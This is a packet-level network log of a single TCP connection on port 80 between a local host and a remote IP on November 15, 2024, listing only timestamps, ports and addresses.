Nov 15, 2024 09:10:06.340986967 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.340997934 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.341007948 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.341022015 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.341029882 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.341063976 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.341063976 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.382976055 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.383001089 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.383011103 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.383112907 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.386885881 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.386898041 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.386914968 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.386950016 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.386960983 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.386984110 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.386984110 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.387012005 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.387036085 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.424103022 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.424139023 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.424149990 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.424181938 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.424181938 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.424238920 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.424249887 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.424292088 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.424303055 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.424360991 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.424370050 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.424449921 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.424472094 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.424555063 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.424561024 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.424586058 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.424624920 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.455677032 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.455698013 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.455708027 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.455789089 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.455918074 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.455935955 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.455945969 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.455961943 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.456054926 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.456082106 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.456643105 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.456653118 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.456665993 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.456675053 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.456686974 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.456712961 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.456722975 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.456731081 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.456742048 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.456748962 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.456758022 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.456801891 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.456831932 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.456841946 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.456851959 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.456862926 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.456875086 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.456891060 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.456891060 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.456909895 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.457030058 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.457040071 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.457089901 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.457149029 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.457155943 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.457160950 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.457242012 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.457253933 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.457264900 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.457376957 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.457443953 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.457493067 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.457520008 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.457530975 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.457576990 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.457653999 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.457664967 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.457698107 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.463721037 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.463732004 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.463741064 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.463830948 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.463944912 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.463990927 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.464000940 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.464026928 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.464041948 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.464049101 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.464095116 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.464106083 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.464219093 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.464257956 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.464257956 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.464287043 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.464298010 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.464308023 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.464344025 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.464507103 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.464545012 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.464574099 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.464610100 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.464621067 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.464663982 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.506150961 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.506192923 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.506203890 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.506215096 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.506259918 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.510124922 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.510145903 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.510157108 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.510214090 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.510229111 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.510277033 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.510288000 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.510297060 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.510317087 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.510334969 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.547580957 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.547621965 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.547671080 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.547693014 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.547749043 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.547760963 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.547785044 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.547811031 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.547837973 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.547849894 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.547859907 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.547872066 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.547913074 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.547913074 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.547991037 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.547998905 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.548089027 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.578984022 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.579021931 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.579031944 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.579081059 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.579133034 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.579149961 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.579185009 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.579212904 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.579224110 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.579235077 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.579257011 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.579277992 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.579332113 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.579492092 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.579529047 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.579536915 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.579560041 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.579607964 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.579643011 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.579653025 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.579689026 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.579758883 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.579811096 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.579823017 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.579852104 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.579904079 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.579915047 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.579962015 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.580100060 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.580128908 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.580141068 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.580169916 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.580169916 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.580250025 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.580338001 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.580348969 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.580358028 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.580359936 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.580391884 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.580391884 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.580461979 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.580472946 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.580483913 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.580524921 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.580524921 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.580882072 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.580907106 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.580916882 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.581010103 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.581039906 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.581115007 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.581198931 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.581208944 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.581304073 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.587019920 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.587030888 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.587040901 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.587091923 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.587270021 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.587280035 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.587327957 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.587338924 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.587387085 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.587404966 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.587415934 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.587425947 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.587483883 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.587546110 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.587572098 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.587589025 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.587598085 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.587656975 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.587667942 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.587681055 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.587850094 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.587909937 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.587919950 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.587939024 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.588157892 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.629460096 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.629507065 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.629515886 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.629525900 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.629678011 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.633238077 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.633290052 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.633301020 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.633311033 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.633413076 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.633482933 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.633542061 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.633552074 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.633569956 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.633578062 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.633586884 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.633645058 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.633709908 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.633719921 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.633785009 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.670919895 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.670964956 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.670990944 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.671008110 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.671097040 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.671125889 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.671125889 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.671155930 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.671166897 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.671200037 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.671200037 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.671230078 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.671251059 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.671262026 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.671289921 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.702756882 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.702773094 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.702826023 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.702838898 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.702857971 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.702883005 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.702936888 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.702980042 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.702991009 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.703001976 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.703015089 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.703063965 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.703064919 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.703083038 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.703095913 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.703108072 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.703130007 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.703174114 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.703208923 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.703244925 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.703255892 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.703274965 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.703334093 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.703341007 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.703383923 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.703485966 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.703547001 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.703558922 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.703583002 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.703597069 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.703649044 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.703677893 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.703689098 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.703701973 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.703712940 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.703727961 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.703788996 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.703799963 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.703809023 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.703902006 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.704142094 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.704161882 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.704173088 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.704205990 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.704319954 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.704333067 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.704344988 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.704382896 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.704382896 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.704400063 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.704411030 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.704461098 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.710367918 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.710382938 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.710395098 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.710469961 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.710613012 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.710623026 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.710634947 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.710669041 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.710692883 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.710705996 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.710741997 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.710741997 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.710752010 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.710920095 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.710931063 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.710972071 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.711015940 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.711015940 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.711038113 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.711050034 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.711075068 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.711245060 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.711265087 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.711277008 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.711288929 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.711288929 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.711325884 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.711335897 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.752875090 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.752918959 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.752931118 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.752957106 CET	49705	80	192.168.2.10	190.107.177.80
